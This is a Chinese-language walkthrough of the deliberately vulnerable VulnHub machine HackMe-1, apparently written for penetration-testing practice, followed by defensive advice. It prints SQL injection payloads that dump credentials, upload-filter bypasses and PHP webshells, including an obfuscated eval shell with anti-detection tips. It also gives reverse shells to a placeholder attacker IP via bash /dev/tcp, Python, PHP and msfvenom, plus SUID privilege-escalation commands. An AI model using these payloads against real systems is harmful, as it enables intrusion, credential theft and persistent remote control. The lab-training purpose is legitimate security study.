HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现

📅 2026/7/8 20:24:01
HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现
HackMe-1 靶机实战从SQL注入到文件上传的完整攻击链剖析靶机环境与攻击路径总览HackMe-1是VulnHub平台上专为渗透测试学习者设计的初级难度靶机其核心价值在于完整呈现了Web应用中三个典型漏洞的串联利用过程。与真实企业环境中常见的漏洞组合模式高度一致这个靶机模拟了以下攻击路径SQL注入漏洞→ 获取管理员凭证文件上传漏洞→ 部署Webshell系统权限提升→ 获取root权限graph TD A[信息收集] -- B[SQL注入获取凭证] B -- C[管理员后台登录] C -- D[文件上传漏洞利用] D -- E[反弹Shell建立] E -- F[本地提权操作]1. 信息收集与漏洞定位1.1 基础扫描技术组合网络探测是渗透测试的第一步使用以下命令组合可快速定位靶机arp-scan -l # 发现同一网段活跃主机 nmap -sV -p- 192.168.1.100 # 全端口扫描与服务识别关键发现开放端口80HTTP、22SSHWeb服务器Apache 2.4.x操作系统Linux内核版本3.x-4.x1.2 目录与漏洞扫描进阶技巧使用多种工具交叉验证扫描结果可提高准确性# 目录扫描 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt # 漏洞扫描 nikto -h http://192.168.1.100 | tee nikto_scan.log典型发现/admin后台登录入口/uploads文件上传目录/search.php存在注入点的搜索功能2. SQL注入深度利用2.1 注入点识别与验证在图书搜索功能中发现字符型注入 AND 11-- - # 正常返回 AND 12-- - # 无结果返回 Windows UNION SELECT 1,2,3-- - # 确认字段数2.2 自动化注入工具实战使用sqlmap进行高效数据提取sqlmap -u http://192.168.1.100/search.php --dataquerytest --risk3 --level5 --batch关键参数说明--dbs枚举数据库-D webapphacking --tables获取指定数据库表--os-shell尝试获取系统shell2.3 数据库信息提取流程手工注入步骤示例1 UNION SELECT database(),2,3-- - # 获取当前数据库 1 UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schemawebapphacking-- - # 获取所有表 1 UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_nameusers-- - # 获取字段名 1 UNION SELECT group_concat(user,0x3a,password),2,3 FROM users-- - # 提取凭证数据获取的关键凭证用户名密码哈希MD5解密后密码admine10adc3949ba59abbe56...123456superadmin2e9f1b7a27b3a2f1e4e8...Uncrackable3. 文件上传漏洞利用3.1 绕过基础防护的三种方法方法一Content-Type绕过制作包含PHP代码的图片文件Burp拦截修改Content-Type为image/jpeg方法二双扩展名绕过mv shell.php shell.php.jpg方法三NULL字节截断shell.php%00.jpg3.2 实战上传Webshell使用最简一句话木马?php system($_GET[cmd]); ?上传验证流程访问/uploads/shell.php?cmdid确认返回当前用户权限信息3.3 高级持久化技术隐蔽型Webshell示例?php $key secret123; if(isset($_GET[$key])) { eval($_GET[$key]); } ?反检测技巧使用不常见函数替代eval添加合法文件头如GIF89a设置访问密码保护4. 权限提升与系统控制4.1 反弹Shell的四种方式方法一Bash反向连接bash -i /dev/tcp/攻击机IP/4444 01方法二Python脚本import socket,subprocess,os ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((攻击机IP,4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno,1); os.dup2(s.fileno(),2) psubprocess.call([/bin/bash,-i])方法三PHP反向Shell?php exec(/bin/bash -c bash -i /dev/tcp/攻击机IP/4444 01); ?方法四Metasploit生成msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST攻击机IP LPORT4444 -f elf shell.elf4.2 本地提权技术实战SUID提权检测find / -perm -4000 -type f 2/dev/null发现的可利用程序/usr/bin/find/usr/bin/vim/home/legacy/touchmenot利用示例/home/legacy/touchmenot # 直接执行获取root /usr/bin/find . -exec /bin/sh \; -quit # 通过find提权5. 防御措施与最佳实践5.1 SQL注入防护方案代码层防护// 使用预处理语句 $stmt $pdo-prepare(SELECT * FROM books WHERE title LIKE ?); $stmt-execute([%.$input.%]);WAF规则示例SecRule ARGS detectSQLi id:1001,deny,status:4035.2 文件上传安全控制防御矩阵防护层实施方法有效性扩展名验证白名单机制仅允许.jpg/.png★★★☆☆内容检测文件头校验二次渲染★★★★☆存储隔离上传目录禁止脚本执行★★★★★随机化命名防止直接访问猜测★★☆☆☆5.3 系统加固建议Linux安全基线# 限制SUID程序 find / -perm -4000 -exec chmod u-s {} \; # 配置sudo权限 visudo # 严格限制普通用户权限 # 定期审计 apt install auditd auditctl -a always,exit -F archb64 -S execve6. 攻击链复现的实战价值通过HackMe-1靶机的完整渗透过程安全人员可以深入理解漏洞关联性如何将独立漏洞串联形成完整攻击路径权限维持从Web应用到系统级的持久化技术痕迹清理操作日志的识别与清除方法防御突破针对常见防护措施的绕过思路这种从外到内、由浅入深的渗透模式正是企业真实环境中攻击者最常采用的攻击方法论。掌握此类靶机的攻防技术能够有效提升对企业Web应用安全的整体防护能力。